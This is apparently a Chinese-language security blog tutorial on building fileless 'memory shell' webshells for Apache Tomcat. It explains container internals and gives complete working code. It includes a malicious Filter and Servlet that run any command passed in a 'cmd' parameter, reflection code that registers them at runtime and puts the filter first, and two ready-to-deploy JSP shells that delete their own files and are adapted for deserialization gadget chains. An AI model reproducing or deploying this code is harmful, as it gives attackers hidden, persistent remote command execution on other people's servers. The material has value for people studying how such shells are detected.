通用Tomcat 内存马

下面知识点部分来自这里

  • Servlet:servlet是一种运行服务器端的java应用程序,具有独立于平台和协议的特性,并且可以动态的生成web页面,它工作在客户端请求与服务器响应的中间层。Servlet 的主要功能在于交互式地浏览和修改数据,生成动态 Web 内容。
  • Filter:filter是一个可以复用的代码片段,可以用来转换HTTP请求、响应和头信息。Filter无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。
  • Listener:通过listener可以监听web服务器中某一个执行动作,并根据其要求作出相应的响应。

Container – 容器组件

Tomcat中的 Container 用于封装和管理 Servlet ,以及具体处理Request请,在Connector内部包含了4个子容器:

Engine,实现类为 org.apache.catalina.core.StandardEngine Host,实现类为 org.apache.catalina.core.StandardHost Context,实现类为 org.apache.catalina.core.StandardContext Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

这四个字容器实际上是自上向下的包含关系

Engine:最顶层容器组件,其下可以包含多个 Host。 Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。 Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。 Wrapper:一个 Wrapper 代表一个 Servlet。

图片

而对于一个 Tomcat 的web目录,对应关系实际是这样的:Webapps 对应的就是 Host 组件,045 和 example 对应的就是 Context 组件,Wrapper 就是容器内的 Servlet了。

图片

获取StandardContext

Tomcat中的对应的ServletContext实现是ApplicationContext。在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。

image-20210416144130314

所以我们得获取StandardContext实例才能对servlet和filter等注册进行操作,注册一个新的servlet等。

所以如果能获取到request,那么就可以拿到ServletContext

javax.servlet.ServletContext servletContext = request.getServletContext();

但是很多框架对于Serlvet进行了封装,不同框架实现不同,同一框架的不同版本实现也可能不同,因此我们无法利用一种简单通用的方法去获取当前请求的response和request。

  1. 从线程中获取StandardContext

首先由https://xz.aliyun.com/t/7348提出

在这里运用到了注入filter https://xz.aliyun.com/t/7388

具体思路是通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化,代码如下

try {
    //修改 WRAP_SAME_OBJECT 值为 true
    Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
    java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
    java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
    modifiersField.setAccessible(true);
    modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
    f.setAccessible(true);
    if (!f.getBoolean(null)) {
        f.setBoolean(null, true);
    }

    //初始化 lastServicedRequest
    c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
    f = c.getDeclaredField("lastServicedRequest");
    modifiersField = f.getClass().getDeclaredField("modifiers");
    modifiersField.setAccessible(true);
    modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
    f.setAccessible(true);
    if (f.get(null) == null) {
        f.set(null, new ThreadLocal());
    }

    //初始化 lastServicedResponse
    f = c.getDeclaredField("lastServicedResponse");
    modifiersField = f.getClass().getDeclaredField("modifiers");
    modifiersField.setAccessible(true);
    modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
    f.setAccessible(true);
    if (f.get(null) == null) {
        f.set(null, new ThreadLocal());
    }
} catch (Exception e) {
    e.printStackTrace();
}

之后,每次请求进来,就能通过这两个ThreadLocal获取到相应的request和response了

ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
    servletRequest = (ServletRequest) threadLocal.get();
}
  1. 在spring中通过spring容器获取servletContext对象
if (servletRequest == null) {
    try {
        c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
        Method m = c.getMethod("getRequestAttributes");
        Object o = m.invoke(null);
        c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
        m = c.getMethod("getRequest");
        servletRequest = (ServletRequest) m.invoke(o);
    } catch (Throwable t) {}
}
if (servletRequest != null)
    return servletRequest.getServletContext();

//spring获取法2
try {
    c = Class.forName("org.springframework.web.context.ContextLoader");
    Method m = c.getMethod("getCurrentWebApplicationContext");
    Object o = m.invoke(null);
    c = Class.forName("org.springframework.web.context.WebApplicationContext");
    m = c.getMethod("getServletContext");
    ServletContext servletContext = (ServletContext) m.invoke(o);
    return servletContext;
} catch (Throwable t) {}
return null;

利用filter

先写一个恶意的filter

    public class TomcatShellInject implements Filter {

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
                             FilterChain filterChain) throws IOException, ServletException {
            String cmd;
            if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void destroy() {

        }
    }

如何注册filter

filter加载过程

在StandardContext的startInternal方法中可以看到先加载listener再加载filter最后加载servlet。

image-20210416112155058

查看filter加载过程

image-20210416112506949

filter注册过程

自servlet3.0开始,就允许动态注册servlet、filter、listener

我们来看看

FilterRegistration.Dynamic filterReg =  servletContext.addFilter("testFilter", TestFilter.class);
FilterRegistration.Dynamic filterReg =  servletContext.addFilter("testFilter", filter);
/**
* 映射请求的url
* 参数一:表示请求或者转发或者包含时会经过这个过滤器
* 参数二:表示动态配置的过滤器是否优先于web.xml中配置的过滤器
* true表示优先
* 参数三:请求过滤的url
*/
filterReg.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");

可以看到是先addFilter,然后addMapping

addFilter中的内容就是创建filterDef,并放入StandardContext的filterDefs中。

image-20210416133430684

addMappingForUrlPatterns是创建新的filterMap,并放入filterMaps中。

image-20210416133902479

注意在addFilter中存在限制,只能在初始化时进行注册,不能在运行过程中注册,当然我们可以通过反射修改状态值。

image-20210416134046286

filterConfigs/filterDefs/filterMaps

通过以上得分析,如果我们想要新注册一个filter,只需要将StandardContext的filterConfigs/filterDefs/filterMaps三个属性设置好就行。

综上所述,如果要实现filter型内存马要经过如下步骤:

  • 创建恶意filter
  • 用filterDef对filter进行封装
  • 将filterDef添加到filterDefs跟filterConfigs中
  • 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中

要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。

我们可以通过反射完成上面的内容,也可以先调用addFilter然后调用filterStart完成上面三个属性的设置。

实践

通过反射设置filterConfigs/filterDefs/filterMaps

// TomcatShellInject是上面出现的恶意filter
Filter filter = new TomcatShellInject();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

//将filterDef加入filterDefs
standardContext.addFilterDef(filterDef);

FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern(filterUrlPattern);

//将filterMap加入filterMaps
//addFilterMapBefore指的是将filter加入到第一个
standardContext.addFilterMapBefore(m);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext, filterDef);

//加入filterconfigs
Field fc = StandardContext.class.getDeclaredField("filterConfigs");
fc.setAccessible(true);
HashMap data = (HashMap) fc.get(standardContext);
data.put(filterName, filterConfig);
fc.set(standardContext, data);

或者通过先调用addFilter然后调用filterStart完成上面三个属性的设置

//修改运行状态,所以可以在非初始化期间调用addFilter
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
    .getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//创建一个自定义的Filter马
Filter mainfilter = new TomcatShellInject();
//动态注册filter,执行addFilter和addMappingForUrlPatterns
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
    .addFilter(filterName, mainfilter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
    .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                              new String[]{"/*"});
//状态恢复,要不然服务不可用
if (stateField != null) {
    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}

if (standardContext != null) {
    //生效filter,执行filterStart
    Method filterStartMethod = org.apache.catalina.core.StandardContext.class
        .getMethod("filterStart");
    filterStartMethod.setAccessible(true);
    filterStartMethod.invoke(standardContext, null);

    Class ccc = null;
    try {
        ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
    } catch (Throwable t){}
    if (ccc == null) {
        try {
            ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
        } catch (Throwable t){}
    }
    // 把filter插到第一位
    // 因为是调用addMappingForUrlPatterns添加的filterMaps,所以默认放在了最后面
    Method m = c.getMethod("findFilterMaps");
    Object[] filterMaps = (Object[]) m.invoke(standardContext);
    Object[] tmpFilterMaps = new Object[filterMaps.length];
    int index = 1;
    for (int i = 0; i < filterMaps.length; i++) {
        Object o = filterMaps[i];
        m = ccc.getMethod("getFilterName");
        String name = (String) m.invoke(o);
        if (name.equalsIgnoreCase(filterName)) {
            tmpFilterMaps[0] = o;
        } else {
            tmpFilterMaps[index++] = filterMaps[i];
        }
    }
    for (int i = 0; i < filterMaps.length; i++) {
        filterMaps[i] = tmpFilterMaps[i];
    }
}

最后的filter马

其中init和init2分别是两种不同的注册filter方式。之所以类都继承了AbstractTranslet,是因为代码还可以用在反序列化cc2、cc3、cc4链等。

<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%@page language="java" contentType="text/html; charset=UTF-8"
        pageEncoding="UTF-8"%>

<%@page import="com.sun.org.apache.xalan.internal.xsltc.DOM"%>
<%@page import="com.sun.org.apache.xalan.internal.xsltc.TransletException"%>
<%@page import="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"%>
<%@page import="com.sun.org.apache.xml.internal.dtm.DTMAxisIterator"%>
<%@page import="com.sun.org.apache.xml.internal.serializer.SerializationHandler"%>
<%@page import="java.io.File"%>
<%@page import="java.io.IOException"%>
<%@page import="java.lang.reflect.Method"%>
<%@page import="javax.servlet.Filter"%>
<%@page import="javax.servlet.FilterChain"%>
<%@page import="javax.servlet.FilterConfig"%>
<%@page import="javax.servlet.ServletContext" %>
<%@page import="javax.servlet.ServletException"%>

<%@page import="javax.servlet.ServletRequest" %>
<%@page import="javax.servlet.ServletResponse" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>

<%!
    /**
     * webshell命令参数名
     */
    private final String cmdParamName = "cmd";
    /**
     * 建议针对相应业务去修改filter过滤的url pattern
     */
    private final static String filterUrlPattern = "/jrxnm";
    private final static String filterName = "testfilter";

    public class TomcatEchoInject  extends AbstractTranslet {

        public void init(){
            try {
                //修改 WRAP_SAME_OBJECT 值为 true
                Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
                java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
                java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
                modifiersField.setAccessible(true);
                modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
                f.setAccessible(true);
                if (!f.getBoolean(null)) {
                    f.setBoolean(null, true);
                }

                //初始化 lastServicedRequest
                c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
                f = c.getDeclaredField("lastServicedRequest");
                modifiersField = f.getClass().getDeclaredField("modifiers");
                modifiersField.setAccessible(true);
                modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
                f.setAccessible(true);
                if (f.get(null) == null) {
                    f.set(null, new ThreadLocal());
                }

                //初始化 lastServicedResponse
                f = c.getDeclaredField("lastServicedResponse");
                modifiersField = f.getClass().getDeclaredField("modifiers");
                modifiersField.setAccessible(true);
                modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
                f.setAccessible(true);
                if (f.get(null) == null) {
                    f.set(null, new ThreadLocal());
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
                throws TransletException {

        }
    }


    public class TomcatShellInject extends AbstractTranslet implements Filter {

        public Boolean init(String filename) {
            try {
                javax.servlet.ServletContext servletContext = getServletContext();
                if (servletContext != null) {
                    Class c = Class.forName("org.apache.catalina.core.StandardContext");
                    Object standardContext = null;
                    //判断是否已有该名字的filter,有则不再添加
                    if (servletContext.getFilterRegistration(filterName) == null) {
                        //遍历出标准上下文对象
                        for (; standardContext == null; ) {
                            java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
                            contextField.setAccessible(true);
                            Object o = contextField.get(servletContext);
                            if (o instanceof javax.servlet.ServletContext) {
                                servletContext = (javax.servlet.ServletContext) o;
                            } else if (c.isAssignableFrom(o.getClass())) {
                                standardContext = o;
                            }
                        }
                        if (standardContext != null) {
                            //修改状态,要不然添加不了
                            java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                                    .getDeclaredField("state");
                            stateField.setAccessible(true);
                            stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                            //创建一个自定义的Filter马
                            Filter mainfilter = new TomcatShellInject();
                            //添加filter马
                            javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                                    .addFilter(filterName, mainfilter);
                            filterRegistration.setInitParameter("encoding", "utf-8");
                            filterRegistration.setAsyncSupported(false);
                            filterRegistration
                                    .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                            new String[]{"/*"});
                            //状态恢复,要不然服务不可用
                            if (stateField != null) {
                                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                            }

                            if (standardContext != null) {
                                //生效filter
                                Method filterStartMethod = org.apache.catalina.core.StandardContext.class
                                        .getMethod("filterStart");
                                filterStartMethod.setAccessible(true);
                                filterStartMethod.invoke(standardContext, null);

                                Class ccc = null;
                                try {
                                    ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                                } catch (Throwable t){}
                                if (ccc == null) {
                                    try {
                                        ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                                    } catch (Throwable t){}
                                }
                                // 把filter插到第一位

                                Method m = c.getMethod("findFilterMaps");
                                Object[] filterMaps = (Object[]) m.invoke(standardContext);
                                Object[] tmpFilterMaps = new Object[filterMaps.length];
                                int index = 1;
                                for (int i = 0; i < filterMaps.length; i++) {
                                    Object o = filterMaps[i];
                                    m = ccc.getMethod("getFilterName");
                                    String name = (String) m.invoke(o);
                                    if (name.equalsIgnoreCase(filterName)) {
                                        tmpFilterMaps[0] = o;
                                    } else {
                                        tmpFilterMaps[index++] = filterMaps[i];
                                    }
                                }
                                for (int i = 0; i < filterMaps.length; i++) {
                                    filterMaps[i] = tmpFilterMaps[i];
                                }
                            }
                        }
                    }
                    //删除文件
                    new File(servletContext.getRealPath(filename)).delete();
                    return true;
                }
                else{
                    return false;
                }
            } catch (Exception e) {
                e.printStackTrace();
                return false;
            }
        }

        public Boolean init2(String filename, HttpServletRequest request) {
            try {
                javax.servlet.ServletContext servletContext = request.getServletContext();;
                if (servletContext != null) {
                    Class c = Class.forName("org.apache.catalina.core.StandardContext");
                    Object standardContexts = null;
                    //判断是否已有该名字的filter,有则不再添加
                    if (servletContext.getFilterRegistration(filterName) == null) {
                        //遍历出标准上下文对象
                        for (; standardContexts == null; ) {
                            java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
                            contextField.setAccessible(true);
                            Object o = contextField.get(servletContext);
                            if (o instanceof javax.servlet.ServletContext) {
                                servletContext = (javax.servlet.ServletContext) o;
                            } else if (c.isAssignableFrom(o.getClass())) {
                                standardContexts = o;
                            }
                        }
                        StandardContext standardContext = (StandardContext) standardContexts;
                        if (standardContext !=null) {

                            Filter filter = new TomcatShellInject();
                            FilterDef filterDef = new FilterDef();
                            filterDef.setFilterName(filterName);
                            filterDef.setFilterClass(filter.getClass().getName());
                            filterDef.setFilter(filter);

                            standardContext.addFilterDef(filterDef);

                            FilterMap m = new FilterMap();
                            m.setFilterName(filterDef.getFilterName());
                            m.setDispatcher(DispatcherType.REQUEST.name());
                            m.addURLPattern(filterUrlPattern);

                            standardContext.addFilterMapBefore(m);

                            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                            constructor.setAccessible(true);
                            FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext, filterDef);

                            Field fc = StandardContext.class.getDeclaredField("filterConfigs");
                            fc.setAccessible(true);
                            HashMap data = (HashMap) fc.get(standardContext);
                            data.put(filterName, filterConfig);
                            fc.set(standardContext, data);
                        }
                    }
                    //删除文件
                    new File(servletContext.getRealPath(filename)).delete();
                    return true;
                }
                else{
                    return false;
                }
            } catch (Exception e) {
                e.printStackTrace();
                return false;
            }
        }


        private ServletContext getServletContext()
                throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            ServletRequest servletRequest = null;
            /*shell注入,前提需要能拿到request、response等*/
            Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
            f.setAccessible(true);
            ThreadLocal threadLocal = (ThreadLocal) f.get(null);
            //不为空则意味着第一次反序列化的准备工作已成功
            if (threadLocal != null && threadLocal.get() != null) {
                servletRequest = (ServletRequest) threadLocal.get();
            }
            //如果不能获取到request,则换一种方式尝试获取

            //spring获取法1
            if (servletRequest == null) {
                try {
                    c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                    Method m = c.getMethod("getRequestAttributes");
                    Object o = m.invoke(null);
                    c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                    m = c.getMethod("getRequest");
                    servletRequest = (ServletRequest) m.invoke(o);
                } catch (Throwable t) {}
            }
            if (servletRequest != null)
                return servletRequest.getServletContext();

            //spring获取法2
            try {
                c = Class.forName("org.springframework.web.context.ContextLoader");
                Method m = c.getMethod("getCurrentWebApplicationContext");
                Object o = m.invoke(null);
                c = Class.forName("org.springframework.web.context.WebApplicationContext");
                m = c.getMethod("getServletContext");
                ServletContext servletContext = (ServletContext) m.invoke(o);
                return servletContext;
            } catch (Throwable t) {}
            return null;
        }

        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
                throws TransletException {

        }

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
                             FilterChain filterChain) throws IOException, ServletException {
            String cmd;
            if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void destroy() {

        }
    }


%>


<%
    TomcatEchoInject te = new TomcatEchoInject();
    te.init();
    TomcatShellInject ts = new TomcatShellInject();

    if(ts.init2(request.getServletPath(), request)){
        out.println("success");
    }
    else{
        out.println("again");
    }

%>

利用servlet

先写一个恶意servlet

public class EvalServlet extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        String cmd = req.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = resp.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }
}

如何注册servlet

servlet加载过程

回到StandardContext的startInternal

image-20210416141739895

StandardContext对象的children中就是注册了的servlcet,可见名为haha的servlet,被StandardWrapper封装。

image-20210416142710076

servlet动态注册

ServletRegistration.Dynamic reg = servletContext.addServlet("test", TestServlet.class);
//添加请求映射(相当于配置url-pattern)
reg.addMapping("/test");

addServlet主要是调用createWrapper根据servlet创建了个wrapper,然后将其放在children属性中。

image-20210416143032786

最后也只需调用standardContext的addServletMapping方法模拟addMapping方法将servlet访问添加请求映射。

实践

如下就能动态注册一个servlet

Servlet servlet = new EvalServlet();
Wrapper newWrapper = sC.createWrapper();
newWrapper.setName(servletName);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

sC.addChild(newWrapper);

sC.addServletMapping(servletUrlPattern, servletName);

最后servlet马

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.DOM" %>
<%@ page import="com.sun.org.apache.xml.internal.serializer.SerializationHandler" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.TransletException" %>
<%@ page import="com.sun.org.apache.xml.internal.dtm.DTMAxisIterator" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.Container" %>
<%@ page import="java.io.File" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!

    /**
     * webshell命令参数名
     */
    private final String cmdParamName = "cmd";
    /**
     * 建议针对相应业务去修改filter过滤的url pattern
     */
    private final static String servletUrlPattern = "/*";
    private final static String servletName = "testservlet";

    public class EvalServlet extends HttpServlet{
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            doPost(req, resp);
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

            String cmd = req.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = resp.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    }

    public class TomcatEchoInject  extends AbstractTranslet {

        public void init(){
            try {
                //修改 WRAP_SAME_OBJECT 值为 true
                Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
                java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
                java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
                modifiersField.setAccessible(true);
                modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
                f.setAccessible(true);
                if (!f.getBoolean(null)) {
                    f.setBoolean(null, true);
                }

                //初始化 lastServicedRequest
                c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
                f = c.getDeclaredField("lastServicedRequest");
                modifiersField = f.getClass().getDeclaredField("modifiers");
                modifiersField.setAccessible(true);
                modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
                f.setAccessible(true);
                if (f.get(null) == null) {
                    f.set(null, new ThreadLocal());
                }

                //初始化 lastServicedResponse
                f = c.getDeclaredField("lastServicedResponse");
                modifiersField = f.getClass().getDeclaredField("modifiers");
                modifiersField.setAccessible(true);
                modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
                f.setAccessible(true);
                if (f.get(null) == null) {
                    f.set(null, new ThreadLocal());
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
                throws TransletException {

        }
    }

    public class ServletMemInject extends AbstractTranslet{

        public Boolean inject(String filename){
            try {
                javax.servlet.ServletContext servletContext = getServletContext();
                if (servletContext != null) {
                    Class c = Class.forName("org.apache.catalina.core.StandardContext");
                    Object standardContext = null;
                    //判断是否已有该名字的filter,有则不再添加
                    if (servletContext.getFilterRegistration(servletName) == null) {
                        //遍历出标准上下文对象
                        for (; standardContext == null; ) {
                            java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
                            contextField.setAccessible(true);
                            Object o = contextField.get(servletContext);
                            if (o instanceof javax.servlet.ServletContext) {
                                servletContext = (javax.servlet.ServletContext) o;
                            } else if (c.isAssignableFrom(o.getClass())) {
                                standardContext = o;
                            }
                        }

                        StandardContext sC = (StandardContext) standardContext;

                        if (standardContext !=null) {
                            Servlet servlet = new EvalServlet();
                            Wrapper newWrapper = sC.createWrapper();
                            newWrapper.setName(servletName);
                            newWrapper.setLoadOnStartup(1);
                            newWrapper.setServlet(servlet);
                            newWrapper.setServletClass(servlet.getClass().getName());

                            sC.addChild(newWrapper);

                            sC.addServletMapping(servletUrlPattern, servletName);
                        }
                    }
                    //删除文件
                    new File(servletContext.getRealPath(filename)).delete();
                    return true;
                }
                else{
                    return false;
                }
            } catch (Exception e) {
                e.printStackTrace();
                return false;
            }


        }

        private ServletContext getServletContext()
                throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            ServletRequest servletRequest = null;
            /*shell注入,前提需要能拿到request、response等*/
            Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
            f.setAccessible(true);
            ThreadLocal threadLocal = (ThreadLocal) f.get(null);
            //不为空则意味着第一次反序列化的准备工作已成功
            if (threadLocal != null && threadLocal.get() != null) {
                servletRequest = (ServletRequest) threadLocal.get();
            }
            //如果不能获取到request,则换一种方式尝试获取

            //spring获取法1
            if (servletRequest == null) {
                try {
                    c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                    Method m = c.getMethod("getRequestAttributes");
                    Object o = m.invoke(null);
                    c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                    m = c.getMethod("getRequest");
                    servletRequest = (ServletRequest) m.invoke(o);
                } catch (Throwable t) {}
            }
            if (servletRequest != null)
                return servletRequest.getServletContext();

            //spring获取法2
            try {
                c = Class.forName("org.springframework.web.context.ContextLoader");
                Method m = c.getMethod("getCurrentWebApplicationContext");
                Object o = m.invoke(null);
                c = Class.forName("org.springframework.web.context.WebApplicationContext");
                m = c.getMethod("getServletContext");
                ServletContext servletContext = (ServletContext) m.invoke(o);
                return servletContext;
            } catch (Throwable t) {}
            return null;
        }

        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
                throws TransletException {

        }
    }
%>

<%
    TomcatEchoInject te = new TomcatEchoInject();
    te.init();
    ServletMemInject ts = new ServletMemInject();
    if(ts.inject(request.getServletPath())){
        out.println("success");
    }
    else{
        out.println("again");
    }

%>